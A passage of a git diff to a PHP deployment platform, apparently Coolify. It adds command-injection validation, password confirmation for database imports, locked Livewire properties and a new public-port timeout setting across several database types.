Compose start command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.', + 'dockerComposeCustomBuildCommand.regex' => 'The Docker Compose build command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.', + 'customDockerRunOptions.regex' => 'The custom Docker run options contain invalid characters. Shell operators like ;, |, $, and backticks are not allowed.', + 'preDeploymentCommandContainer.regex' => 'The pre-deployment command container name must contain only alphanumeric characters, dots, hyphens, and underscores.', + 'postDeploymentCommandContainer.regex' => 'The post-deployment command container name must contain only alphanumeric characters, dots, hyphens, and underscores.', 'name.required' => 'The Name field is required.', 'gitRepository.required' => 'The Git Repository field is required.', 'gitBranch.required' => 'The Git Branch field is required.', @@ -320,7 +291,7 @@ public function mount() $this->authorize('update', $this->application); $this->application->fqdn = null; $this->application->settings->save(); - } catch (\Illuminate\Auth\Access\AuthorizationException $e) { + } catch (AuthorizationException $e) { // User doesn't have update permission, just continue without saving } } @@ -341,7 +312,7 @@ public function mount() $this->customLabels = str(implode('|coolify|', generateLabelsApplication($this->application)))->replace('|coolify|', "\n"); $this->application->custom_labels = base64_encode($this->customLabels); $this->application->save(); - } catch (\Illuminate\Auth\Access\AuthorizationException $e) { + } catch (AuthorizationException $e) { // User doesn't have update permission, just use existing labels // $this->customLabels = str(implode('|coolify|', generateLabelsApplication($this->application)))->replace('|coolify|', "\n"); } @@ -353,7 +324,7 @@ public function mount() $this->authorize('update', $this->application); $this->initLoadingCompose = true; $this->dispatch('info', 'Loading docker compose file.'); - } catch (\Illuminate\Auth\Access\AuthorizationException $e) { + } catch (AuthorizationException $e) { // User doesn't have update permission, skip loading compose file } } @@ -619,7 +590,7 @@ public function updatedBuildPack() // Check if user has permission to update try { $this->authorize('update', $this->application); - } catch (\Illuminate\Auth\Access\AuthorizationException $e) { + } catch (AuthorizationException $e) { // User doesn't have permission, revert the change and return $this->application->refresh(); $this->syncData(); @@ -644,7 +615,7 @@ public function updatedBuildPack() $this->fqdn = null; $this->application->fqdn = null; $this->application->settings->save(); - } catch (\Illuminate\Auth\Access\AuthorizationException $e) { + } catch (AuthorizationException $e) { // User doesn't have update permission, just continue without saving } } @@ -841,7 +812,7 @@ public function submit($showToaster = true) restoreBaseDirectory: $oldBaseDirectory, restoreDockerComposeLocation: $oldDockerComposeLocation ); - if ($compose_return instanceof \Livewire\Features\SupportEvents\Event) { + if ($compose_return instanceof Event) { // Validation failed - restore original values to component properties $this->baseDirectory = $oldBaseDirectory; $this->dockerComposeLocation = $oldDockerComposeLocation; @@ -971,7 +942,7 @@ public function getDockerComposeBuildCommandPreviewProperty(): string $command = injectDockerComposeFlags( $this->dockerComposeCustomBuildCommand, ".{$normalizedBase}{$this->dockerComposeLocation}", - \App\Jobs\ApplicationDeploymentJob::BUILD_TIME_ENV_PATH + ApplicationDeploymentJob::BUILD_TIME_ENV_PATH ); // Inject build args if not using build secrets diff --git a/app/Livewire/Project/Application/Rollback.php b/app/Livewire/Project/Application/Rollback.php index e8edf72fa..3edd77833 100644 --- a/app/Livewire/Project/Application/Rollback.php +++ b/app/Livewire/Project/Application/Rollback.php @@ -50,6 +50,8 @@ public function rollbackImage($commit) { $this->authorize('deploy', $this->application); + $commit = validateGitRef($commit, 'rollback commit'); + $deployment_uuid = new Cuid2; $result = queue_application_deployment( diff --git a/app/Livewire/Project/Application/Source.php b/app/Livewire/Project/Application/Source.php index ab2517f2b..422dd6b28 100644 --- a/app/Livewire/Project/Application/Source.php +++ b/app/Livewire/Project/Application/Source.php @@ -30,7 +30,7 @@ class Source extends Component #[Validate(['required', 'string'])] public string $gitBranch; - #[Validate(['nullable', 'string'])] + #[Validate(['nullable', 'string', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'])] public ?string $gitCommitSha = null; #[Locked] diff --git a/app/Livewire/Project/Database/BackupEdit.php b/app/Livewire/Project/Database/BackupEdit.php index 35262d7b0..0fff2bd03 100644 --- a/app/Livewire/Project/Database/BackupEdit.php +++ b/app/Livewire/Project/Database/BackupEdit.php @@ -105,21 +105,9 @@ public function syncData(bool $toModel = false) $this->backup->s3_storage_id = $this->s3StorageId; // Validate databases_to_backup to prevent command injection + // Handles all formats including MongoDB's "db:col1,col2|db2:col3" if (filled($this->databasesToBackup)) { - $databases = str($this->databasesToBackup)->explode(','); - foreach ($databases as $index => $db) { - $dbName = trim($db); - try { - validateShellSafePath($dbName, 'database name'); - } catch (\Exception $e) { - // Provide specific error message indicating which database failed validation - $position = $index + 1; - throw new \Exception( - "Database #{$position} ('{$dbName}') validation failed: ". - $e->getMessage() - ); - } - } + validateDatabasesBackupInput($this->databasesToBackup); } $this->backup->databases_to_backup = $this->databasesToBackup; @@ -146,12 +134,12 @@ public function syncData(bool $toModel = false) } } - public function delete($password) + public function delete($password, $selectedActions = []) { $this->authorize('manageBackups', $this->backup->database); if (! verifyPasswordConfirmation($password, $this)) { - return; + return 'The provided password is incorrect.'; } try { diff --git a/app/Livewire/Project/Database/BackupExecutions.php b/app/Livewire/Project/Database/BackupExecutions.php index 44f903fcc..1dd93781d 100644 --- a/app/Livewire/Project/Database/BackupExecutions.php +++ b/app/Livewire/Project/Database/BackupExecutions.php @@ -65,10 +65,10 @@ public function cleanupDeleted() } } - public function deleteBackup($executionId, $password) + public function deleteBackup($executionId, $password, $selectedActions = []) { if (! verifyPasswordConfirmation($password, $this)) { - return; + return 'The provided password is incorrect.'; } $execution = $this->backup->executions()->where('id', $executionId)->first(); @@ -96,7 +96,11 @@ public function deleteBackup($executionId, $password) $this->refreshBackupExecutions(); } catch (\Exception $e) { $this->dispatch('error', 'Failed to delete backup: '.$e->getMessage()); + + return true; } + + return true; } public function download_file($exeuctionId) diff --git a/app/Livewire/Project/Database/Clickhouse/General.php b/app/Livewire/Project/Database/Clickhouse/General.php index 7ad453fd5..9de75c1c5 100644 --- a/app/Livewire/Project/Database/Clickhouse/General.php +++ b/app/Livewire/Project/Database/Clickhouse/General.php @@ -36,6 +36,8 @@ class General extends Component public ?int $publicPort = null; + public ?int $publicPortTimeout = 3600; + public ?string $customDockerRunOptions = null; public ?string $dbUrl = null; @@ -80,6 +82,7 @@ protected function rules(): array 'portsMappings' => 'nullable|string', 'isPublic' => 'nullable|boolean', 'publicPort' => 'nullable|integer', + 'publicPortTimeout' => 'nullable|integer|min:1', 'customDockerRunOptions' => 'nullable|string', 'dbUrl' => 'nullable|string', 'dbUrlPublic' => 'nullable|string', @@ -99,6 +102,8 @@ protected function messages(): array 'image.required' => 'The Docker Image field is required.', 'image.string' => 'The Docker Image must be a string.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', + 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', ] ); } @@ -115,6 +120,7 @@ public function syncData(bool $toModel = false) $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; $this->database->public_port = $this->publicPort; + $this->database->public_port_timeout = $this->publicPortTimeout; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->save(); @@ -130,6 +136,7 @@ public function syncData(bool $toModel = false) $this->portsMappings = $this->database->ports_mappings; $this->isPublic = $this->database->is_public; $this->publicPort = $this->database->public_port; + $this->publicPortTimeout = $this->database->public_port_timeout; $this->customDockerRunOptions = $this->database->custom_docker_run_options; $this->isLogDrainEnabled = $this->database->is_log_drain_enabled; $this->dbUrl = $this->database->internal_db_url; diff --git a/app/Livewire/Project/Database/Dragonfly/General.php b/app/Livewire/Project/Database/Dragonfly/General.php index 4e325b9ee..d35e57a9d 100644 --- a/app/Livewire/Project/Database/Dragonfly/General.php +++ b/app/Livewire/Project/Database/Dragonfly/General.php @@ -36,6 +36,8 @@ class General extends Component public ?int $publicPort = null; + public ?int $publicPortTimeout = 3600; + public ?string $customDockerRunOptions = null; public ?string $dbUrl = null; @@ -91,6 +93,7 @@ protected function rules(): array 'portsMappings' => 'nullable|string', 'isPublic' => 'nullable|boolean', 'publicPort' => 'nullable|integer', + 'publicPortTimeout' => 'nullable|integer|min:1', 'customDockerRunOptions' => 'nullable|string', 'dbUrl' => 'nullable|string', 'dbUrlPublic' => 'nullable|string', @@ -109,6 +112,8 @@ protected function messages(): array 'image.required' => 'The Docker Image field is required.', 'image.string' => 'The Docker Image must be a string.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', + 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', ] ); } @@ -124,6 +129,7 @@ public function syncData(bool $toModel = false) $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; $this->database->public_port = $this->publicPort; + $this->database->public_port_timeout = $this->publicPortTimeout; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->enable_ssl = $this->enable_ssl; @@ -139,6 +145,7 @@ public function syncData(bool $toModel = false) $this->portsMappings = $this->database->ports_mappings; $this->isPublic = $this->database->is_public; $this->publicPort = $this->database->public_port; + $this->publicPortTimeout = $this->database->public_port_timeout; $this->customDockerRunOptions = $this->database->custom_docker_run_options; $this->isLogDrainEnabled = $this->database->is_log_drain_enabled; $this->enable_ssl = $this->database->enable_ssl; diff --git a/app/Livewire/Project/Database/Heading.php b/app/Livewire/Project/Database/Heading.php index 8d3d8e294..c6c9a3c48 100644 --- a/app/Livewire/Project/Database/Heading.php +++ b/app/Livewire/Project/Database/Heading.php @@ -69,7 +69,11 @@ public function manualCheckStatus() public function mount() { - $this->parameters = get_route_parameters(); + $this->parameters = [ + 'project_uuid' => $this->database->environment->project->uuid, + 'environment_uuid' => $this->database->environment->uuid, + 'database_uuid' => $this->database->uuid, + ]; } public function stop() diff --git a/app/Livewire/Project/Database/Import.php b/app/Livewire/Project/Database/Import.php index 7d37bd473..1cdc681cd 100644 --- a/app/Livewire/Project/Database/Import.php +++ b/app/Livewire/Project/Database/Import.php @@ -5,10 +5,12 @@ use App\Models\S3Storage; use App\Models\Server; use App\Models\Service; +use App\Support\ValidationPatterns; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Storage; use Livewire\Attributes\Computed; +use Livewire\Attributes\Locked; use Livewire\Component; class Import extends Component @@ -104,17 +106,22 @@ private function validateServerPath(string $path): bool public bool $unsupported = false; // Store IDs instead of models for proper Livewire serialization + #[Locked] public ?int $resourceId = null; + #[Locked] public ?string $resourceType = null; + #[Locked] public ?int $serverId = null; // View-friendly properties to avoid computed property access in Blade + #[Locked] public string $resourceUuid = ''; public string $resourceStatus = ''; + #[Locked] public string $resourceDbType = ''; public array $parameters = []; @@ -135,6 +142,7 @@ private function validateServerPath(string $path): bool public bool $error = false; + #[Locked] public string $container; public array $importCommands = []; @@ -181,7 +189,7 @@ public function server() return null; } - return Server::find($this->serverId); + return Server::ownedByCurrentTeam()->find($this->serverId); } public function getListeners() @@ -401,20 +409,30 @@ public function checkFile() } } - public function runImport() + public function runImport(string $password = ''): bool|string { + if (! verifyPasswordConfirmation($password, $this)) { + return 'The provided password is incorrect.'; + } + $this->authorize('update', $this->resource); + if (! ValidationPatterns::isValidContainerName($this->container)) { + $this->dispatch('error', 'Invalid container name.'); + + return true; + } + if ($this->filename === '') { $this->dispatch('error', 'Please select a file to import.'); - return; + return true; } if (! $this->server) { $this->dispatch('error', 'Server not found. Please refresh the page.'); - return; + return true; } try { @@ -434,7 +452,7 @@ public function runImport() if (! $this->validateServerPath($this->customLocation)) { $this->dispatch('error', 'Invalid file path. Path must be absolute and contain only safe characters.'); - return; + return true; } $tmpPath = '/tmp/restore_'.$this->resourceUuid; $escapedCustomLocation = escapeshellarg($this->customLocation); @@ -442,7 +460,7 @@ public function runImport() } else { $this->dispatch('error', 'The file does not exist or has been deleted.'); - return; + return true; } // Copy the restore command to a script file @@ -474,11 +492,15 @@ public function runImport() $this->dispatch('databaserestore'); } } catch (\Throwable $e) { - return handleError($e, $this); + handleError($e, $this); + + return true; } finally { $this->filename = null; $this->importCommands = []; } + + return true; } public function loadAvailableS3Storages() @@ -577,26 +599,36 @@ public function checkS3File() } } - public function restoreFromS3() + public function restoreFromS3(string $password = ''): bool|string { + if (! verifyPasswordConfirmation($password, $this)) { + return 'The provided password is incorrect.'; + } + $this->authorize('update', $this->resource); + if (! ValidationPatterns::isValidContainerName($this->container)) { + $this->dispatch('error', 'Invalid container name.'); + + return true; + } + if (! $this->s3StorageId || blank($this->s3Path)) { $this->dispatch('error', 'Please select S3 storage and provide a path first.'); - return; + return true; } if (is_null($this->s3FileSize)) { $this->dispatch('error', 'Please check the file first by clicking "Check File".'); - return; + return true; } if (! $this->server) { $this->dispatch('error', 'Server not found. Please refresh the page.'); - return; + return true; } try { @@ -613,7 +645,7 @@ public function restoreFromS3() if (! $this->validateBucketName($bucket)) { $this->dispatch('error', 'Invalid S3 bucket name. Bucket name must contain only alphanumerics, dots, dashes, and underscores.'); - return; + return true; } // Clean the S3 path @@ -623,7 +655,7 @@ public function restoreFromS3() if (! $this->validateS3Path($cleanPath)) { $this->dispatch('error', 'Invalid S3 path. Path must contain only safe characters (alphanumerics, dots, dashes, underscores, slashes).'); - return; + return true; } // Get helper image @@ -711,9 +743,12 @@ public function restoreFromS3() $this->dispatch('info', 'Restoring database from S3. Progress will be shown in the activity monitor...'); } catch (\Throwable $e) { $this->importRunning = false; + handleError($e, $this); - return handleError($e, $this); + return true; } + + return true; } public function buildRestoreCommand(string $tmpPath): string diff --git a/app/Livewire/Project/Database/Keydb/General.php b/app/Livewire/Project/Database/Keydb/General.php index f02aa6674..adb4ccb5f 100644 --- a/app/Livewire/Project/Database/Keydb/General.php +++ b/app/Livewire/Project/Database/Keydb/General.php @@ -38,6 +38,8 @@ class General extends Component public ?int $publicPort = null; + public ?int $publicPortTimeout = 3600; + public ?string $customDockerRunOptions = null; public ?string $dbUrl = null; @@ -94,6 +96,7 @@ protected function rules(): array 'portsMappings' => 'nullable|string', 'isPublic' => 'nullable|boolean', 'publicPort' => 'nullable|integer', + 'publicPortTimeout' => 'nullable|integer|min:1', 'customDockerRunOptions' => 'nullable|string', 'dbUrl' => 'nullable|string', 'dbUrlPublic' => 'nullable|string', @@ -114,6 +117,8 @@ protected function messages(): array 'image.required' => 'The Docker Image field is required.', 'image.string' => 'The Docker Image must be a string.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', + 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', ] ); } @@ -130,6 +135,7 @@ public function syncData(bool $toModel = false) $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; $this->database->public_port = $this->publicPort; + $this->database->public_port_timeout = $this->publicPortTimeout; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->enable_ssl = $this->enable_ssl; @@ -146,6 +152,7 @@ public function syncData(bool $toModel = false) $this->portsMappings = $this->database->ports_mappings; $this->isPublic = $this->database->is_public; $this->publicPort = $this->database->public_port; + $this->publicPortTimeout = $this->database->public_port_timeout; $this->customDockerRunOptions = $this->database->custom_docker_run_options; $this->isLogDrainEnabled = $this->database->is_log_drain_enabled; $this->enable_ssl = $this->database->enable_ssl; diff --git a/app/Livewire/Project/Database/Mariadb/General.php b/app/Livewire/Project/Database/Mariadb/General.php index 74658e2a4..14240c82d 100644 --- a/app/Livewire/Project/Database/Mariadb/General.php +++ b/app/Livewire/Project/Database/Mariadb/General.php @@ -44,6 +44,8 @@ class General extends Component public ?int $publicPort = null; + public ?int $publicPortTimeout = 3600; + public bool $isLogDrainEnabled = false; public ?string $customDockerRunOptions = null; @@ -79,6 +81,7 @@ protected function rules(): array 'portsMappings' => 'nullable', 'isPublic' => 'nullable|boolean', 'publicPort' => 'nullable|integer', + 'publicPortTimeout' => 'nullable|integer|min:1', 'isLogDrainEnabled' => 'nullable|boolean', 'customDockerRunOptions' => 'nullable', 'enableSsl' => 'boolean', @@ -97,6 +100,8 @@ protected function messages(): array 'mariadbDatabase.required' => 'The MariaDB Database field is required.', 'image.required' => 'The Docker Image field is required.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', + 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', ] ); } @@ -113,6 +118,7 @@ protected function messages(): array 'portsMappings' => 'Port Mapping', 'isPublic' => 'Is Public', 'publicPort' => 'Public Port', + 'publicPortTimeout' => 'Public Port Timeout', 'customDockerRunOptions' => 'Custom Docker Options', 'enableSsl' => 'Enable SSL', ]; @@ -154,6 +160,7 @@ public function syncData(bool $toModel = false) $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; $this->database->public_port = $this->publicPort; + $this->database->public_port_timeout = $this->publicPortTimeout; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->enable_ssl = $this->enableSsl; @@ -173,6 +180,7 @@ public function syncData(bool $toModel = false) $this->portsMappings = $this->database->ports_mappings; $this->isPublic = $this->database->is_public; $this->publicPort = $this->database->public_port; + $this->publicPortTimeout = $this->database->public_port_timeout; $this->isLogDrainEnabled = $this->database->is_log_drain_enabled; $this->customDockerRunOptions = $this->database->custom_docker_run_options; $this->enableSsl = $this->database->enable_ssl; diff --git a/app/Livewire/Project/Database/Mongodb/General.php b/app/Livewire/Project/Database/Mongodb/General.php index 9f34b73d5..11419ec71 100644 --- a/app/Livewire/Project/Database/Mongodb/General.php +++ b/app/Livewire/Project/Database/Mongodb/General.php @@ -42,6 +42,8 @@ class General extends Component public ?int $publicPort = null; + public ?int $publicPortTimeout = 3600; + public bool $isLogDrainEnabled = false; public ?string $customDockerRunOptions = null; @@ -78,6 +80,7 @@ protected function rules(): array 'portsMappings' => 'nullable', 'isPublic' => 'nullable|boolean', 'publicPort' => 'nullable|integer', + 'publicPortTimeout' => 'nullable|integer|min:1', 'isLogDrainEnabled' => 'nullable|boolean', 'customDockerRunOptions' => 'nullable', 'enableSsl' => 'boolean', @@ -96,6 +99,8 @@ protected function messages(): array 'mongoInitdbDatabase.required' => 'The MongoDB Database field is required.', 'image.required' => 'The Docker Image field is required.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', + 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', 'sslMode.in' => 'The SSL Mode must be one of: allow, prefer, require, verify-full.', ] ); @@ -112,6 +117,7 @@ protected function messages(): array 'portsMappings' => 'Port Mapping', 'isPublic' => 'Is Public', 'publicPort' => 'Public Port', + 'publicPortTimeout' => 'Public Port Timeout', 'customDockerRunOptions' => 'Custom Docker Run Options', 'enableSsl' => 'Enable SSL', 'sslMode' => 'SSL Mode', @@ -153,6 +159,7 @@ public function syncData(bool $toModel = false) $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; $this->database->public_port = $this->publicPort; + $this->database->public_port_timeout = $this->publicPortTimeout; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->enable_ssl = $this->enableSsl; @@ -172,6 +179,7 @@ public function syncData(bool $toModel = false) $this->portsMappings = $this->database->ports_mappings; $this->isPublic = $this->database->is_public; $this->publicPort = $this->database->public_port; + $this->publicPortTimeout = $this->database->public_port_timeout; $this->isLogDrainEnabled = $this->database->is_log_drain_enabled; $this->customDockerRunOptions = $this->database->custom_docker_run_options; $this->enableSsl = $this->database->enable_ssl; diff --git a/app/Livewire/Project/Database/Mysql/General.php b/app/Livewire/Project/Database/Mysql/General.php index 86b109251..4f0f5eb19 100644 --- a/app/Livewire/Project/Database/Mysql/General.php +++ b/app/Livewire/Project/Database/Mysql/General.php @@ -44,6 +44,8 @@ class General extends Component public ?int $publicPort = null; + public ?int $publicPortTimeout = 3600; + public bool $isLogDrainEnabled = false; public ?string $customDockerRunOptions = null; @@ -81,6 +83,7 @@ protected function rules(): array 'portsMappings' => 'nullable', 'isPublic' => 'nullable|boolean', 'publicPort' => 'nullable|integer', + 'publicPortTimeout' => 'nullable|integer|min:1', 'isLogDrainEnabled' => 'nullable|boolean', 'customDockerRunOptions' => 'nullable', 'enableSsl' => 'boolean', @@ -100,6 +103,8 @@ protected function messages(): array 'mysqlDatabase.required' => 'The MySQL Database field is required.', 'image.required' => 'The Docker Image field is required.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', + 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', 'sslMode.in' => 'The SSL Mode must be one of: PREFERRED, REQUIRED, VERIFY_CA, VERIFY_IDENTITY.', ] ); @@ -117,6 +122,7 @@ protected function messages(): array 'portsMappings' => 'Port Mapping', 'isPublic' => 'Is Public', 'publicPort' => 'Public Port', + 'publicPortTimeout' => 'Public Port Timeout', 'customDockerRunOptions' => 'Custom Docker Run Options', 'enableSsl' => 'Enable SSL', 'sslMode' => 'SSL Mode', @@ -159,6 +165,7 @@ public function syncData(bool $toModel = false) $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; $this->database->public_port = $this->publicPort; + $this->database->public_port_timeout = $this->publicPortTimeout; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->enable_ssl = $this->enableSsl; @@ -179,6 +186,7 @@ public function syncData(bool $toModel = false) $this->portsMappings = $this->database->ports_mappings; $this->isPublic = $this->database->is_public; $this->publicPort = $this->database->public_port; + $this->publicPortTimeout = $this->database->public_port_timeout; $this->isLogDrainEnabled = $this->database->is_log_drain_enabled; $this->customDockerRunOptions = $this->database->custom_docker_run_options; $this->enableSsl = $this->database->enable_ssl; diff --git a/app/Livewire/Project/Database/Postgresql/General.php b/app/Livewire/Project/Database/Postgresql/General.php index e24674315..4e044672b 100644 --- a/app/Livewire/Project/Database/Postgresql/General.php +++ b/app/Livewire/Project/Database/Postgresql/General.php @@ -48,6 +48,8 @@ class General extends Component public ?int $publicPort = null; + public ?int $publicPortTimeout = 3600; + public bool $isLogDrainEnabled = false; public ?string $customDockerRunOptions = null; @@ -93,6 +95,7 @@ protected function rules(): array 'portsMappings' => 'nullable', 'isPublic' => 'nullable|boolean', 'publicPort' => 'nullable|integer', + 'publicPortTimeout' => 'nullable|integer|min:1', 'isLogDrainEnabled' => 'nullable|boolean', 'customDockerRunOptions' => 'nullable', 'enableSsl' => 'boolean', @@ -111,6 +114,8 @@ protected function messages(): array 'postgresDb.required' => 'The Postgres Database field is required.', 'image.required' => 'The Docker Image field is required.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', + 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', 'sslMode.in' => 'The SSL Mode must be one of: allow, prefer, require, verify-ca, verify-full.', ] ); @@ -130,6 +135,7 @@ protected function messages(): array 'portsMappings' => 'Port Mapping', 'isPublic' => 'Is Public', 'publicPort' => 'Public Port', + 'publicPortTimeout' => 'Public Port Timeout', 'customDockerRunOptions' => 'Custom Docker Run Options', 'enableSsl' => 'Enable SSL', 'sslMode' => 'SSL Mode', @@ -174,6 +180,7 @@ public function syncData(bool $toModel = false) $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; $this->database->public_port = $this->publicPort; + $this->database->public_port_timeout = $this->publicPortTimeout; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->enable_ssl = $this->enableSsl; @@ -196,6 +203,7 @@ public function syncData(bool $toModel = false) $this->portsMappings = $this->database->ports_mappings; $this->isPublic = $this->database->is_public; $this->publicPort = $this->database->public_port; + $this->publicPortTimeout = $this->database->public_port_timeout; $this->isLogDrainEnabled = $this->database->is_log_drain_enabled; $this->customDockerRunOptions = $this->database->custom_docker_run_options; $this->enableSsl = $this->database->enable_ssl; diff --git a/app/Livewire/Project/Database/Redis/General.php b/app/Livewire/Project/Database/Redis/General.php index 08bcdc343..ebe2f3ba0 100644 --- a/app/Livewire/Project/Database/Redis/General.php +++ b/app/Livewire/Project/Database/Redis/General.php @@ -36,6 +36,8 @@ class General extends Component public ?int $publicPort = null; + public ?int $publicPortTimeout = 3600; + public bool $isLogDrainEnabled = false; public ?string $customDockerRunOptions = null; @@ -74,6 +76,7 @@ protected function rules(): array 'portsMappings' => 'nullable', 'isPublic' => 'nullable|boolean', 'publicPort' => 'nullable|integer', + 'publicPortTimeout' => 'nullable|integer|min:1', 'isLogDrainEnabled' => 'nullable|boolean', 'customDockerRunOptions' => 'nullable', 'redisUsername' => 'required', @@ -90,6 +93,8 @@ protected function messages(): array 'name.required' => 'The Name field is required.', 'image.required' => 'The Docker Image field is required.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', + 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', 'redisUsername.required' => 'The Redis Username field is required.', 'redisPassword.required' => 'The Redis Password field is required.', ] @@ -104,6 +109,7 @@ protected function messages(): array 'portsMappings' => 'Port Mapping', 'isPublic' => 'Is Public', 'publicPort' => 'Public Port', + 'publicPortTimeout' => 'Public Port Timeout', 'customDockerRunOptions' => 'Custom Docker Options', 'redisUsername' => 'Redis Username', 'redisPassword' => 'Redis Password', @@ -143,6 +149,7 @@ public function syncData(bool $toModel = false) $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; $this->database->public_port = $this->publicPort; + $this->database->public_port_timeout = $this->publicPortTimeout; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->enable_ssl = $this->enableSsl; @@ -158,6 +165,7 @@ public function syncData(bool $toModel = false) $this->portsMappings = $this->database->ports_mappings; $this->isPublic = $this->database->is_public; $this->publicPort = $this->database->public_port; + $this->publicPortTimeout = $this->database->public_port_timeout; $this->isLogDrainEnabled = $this->database->is_log_drain_enabled; $this->customDockerRunOptions = $this->database->custom_docker_run_options; $this->enableSsl = $this->database->enable_ssl; diff --git a/app/Livewire/Project/New/DockerCompose.php b/app/Livewire/Project/New/DockerCompose.php index 18bb237af..634a012c0 100644 --- a/app/Livewire/Project/New/DockerCompose.php +++ b/app/Livewire/Project/New/DockerCompose.php @@ -63,10 +63,16 @@ public function submit() ]); $variables = parseEnvFormatToArray($this->envFile); - foreach ($variables as $key => $variable) { + foreach ($variables as $key => $data) { + // Extract value and comment from parsed data + // Handle both array format ['value' => ..., 'comment' => ...] and plain string values + $value = is_array($data) ? ($data['value'] ?? '') : $data; + $comment = is_array($data) ? ($data['comment'] ?? null) : null; + EnvironmentVariable::create([ 'key' => $key, - 'value' => $variable, + 'value' => $value, + 'comment' => $comment, 'is_preview' => false, 'resourceable_id' => $service->id, 'resourceable_type' => $service->getMorphClass(), diff --git a/app/Livewire/Project/New/GithubPrivateRepository.php b/app/Livewire/Project/New/GithubPrivateRepository.php index 1bb276b89..61ae0e151 100644 --- a/app/Livewire/Project/New/GithubPrivateRepository.php +++ b/app/Livewire/Project/New/GithubPrivateRepository.php @@ -168,7 +168,7 @@ public function submit() 'selected_repository_owner' => 'required|string|regex:/^[a-zA-Z0-9\-_]+$/', 'selected_repository_repo' => 'required|string|regex:/^[a-zA-Z0-9\-_\.]+$/', 'selected_branch_name' => ['required', 'string', new ValidGitBranch], - 'docker_compose_location' => ['nullable', 'string', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'], + 'docker_compose_location' => \App\Support\ValidationPatterns::filePathRules(), ]); if ($validator->fails()) { diff --git a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php index f52c01e91..e46ad7d78 100644 --- a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php +++ b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php @@ -57,16 +57,6 @@ class GithubPrivateRepositoryDeployKey extends Component private ?string $git_repository = null; - protected $rules = [ - 'repository_url' => ['required', 'string'], - 'branch' => ['required', 'string'], - 'port' => 'required|numeric', - 'is_static' => 'required|boolean', - 'publish_directory' => 'nullable|string', - 'build_pack' => 'required|string', - 'docker_compose_location' => ['nullable', 'string', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'], - ]; - protected function rules() { return [ @@ -76,7 +66,7 @@ protected function rules() 'is_static' => 'required|boolean', 'publish_directory' => 'nullable|string', 'build_pack' => 'required|string', - 'docker_compose_location' => ['nullable', 'string', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'], + 'docker_compose_location' => \App\Support\ValidationPatterns::filePathRules(), ]; } diff --git a/app/Livewire/Project/New/PublicGitRepository.php b/app/Livewire/Project/New/PublicGitRepository.php index a08c448dd..3df31a6a3 100644 --- a/app/Livewire/Project/New/PublicGitRepository.php +++ b/app/Livewire/Project/New/PublicGitRepository.php @@ -63,16 +63,6 @@ class PublicGitRepository extends Component public bool $new_compose_services = false; - protected $rules = [ - 'repository_url' => ['required', 'string'], - 'port' => 'required|numeric', - 'isStatic' => 'required|boolean', - 'publish_directory' => 'nullable|string', - 'build_pack' => 'required|string', - 'base_directory' => 'nullable|string', - 'docker_compose_location' => ['nullable', 'string', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'], - ]; - protected function rules() { return [ @@ -82,7 +72,7 @@ protected function rules() 